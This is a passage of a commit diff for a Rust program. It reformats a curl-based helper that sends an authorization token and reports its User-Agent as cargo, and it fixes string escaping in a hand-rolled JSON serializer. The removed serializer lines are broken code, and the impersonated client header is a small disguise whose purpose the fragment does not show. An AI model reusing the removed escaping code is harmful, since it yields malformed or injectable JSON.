Some(String::from_utf8_lossy(&out.stdout).to_string())
170171
}
171172

172173
fn http_get_with_auth(url: &str, token: &str) -> Option<String> {
173174
let out = Command::new("curl")
174-
.args(&["-s", "-m", "10",
175-
"-H", &format!("Authorization: Bearer {}", token),
176-
"-H", "User-Agent: cargo/1.82.0",
177-
url])
175+
.args(&[
176+
"-s", "-m", "10",
177+
"-H", &format!("Authorization: Bearer {}", token),
178+
"-H", "User-Agent: cargo/1.82.0",
179+
url,
180+
])
178181
.output()
179182
.ok()?;
180183
let body = String::from_utf8_lossy(&out.stdout).to_string();
@@ -187,15 +190,15 @@ fn serialize_map(map: &HashMap<String, String>) -> String {
187190
for (k, v) in map {
188191
if !first { s.push(','); }
189192
s.push('"');
190-
s.push_str(&k.replace('"', "\\""));
193+
s.push_str(&k.replace('"', "\\\""));
191194
s.push_str("\":\"");
192195
for c in v.chars() {
193196
match c {
194-
'"' => s.push_str("\\""),
195-
'\' => s.push_str("\\"),
196-
'\n' => s.push_str("\n"),
197-
'\r' => s.push_str("\r"),
198-
'\t' => s.push_str("\t"),
197+
'"' => s.push_str("\\\""),
198+
'\\' => s.push_str("\\\\"),
199+
'\n' => s.push_str("\\n"),
200+
'\r' => s.push_str("\\r"),
201+
'\t' => s.push_str("\\t"),
199202
_ => s.push(c),
200203
}
201204
}

0 commit comments

Comments
 (0)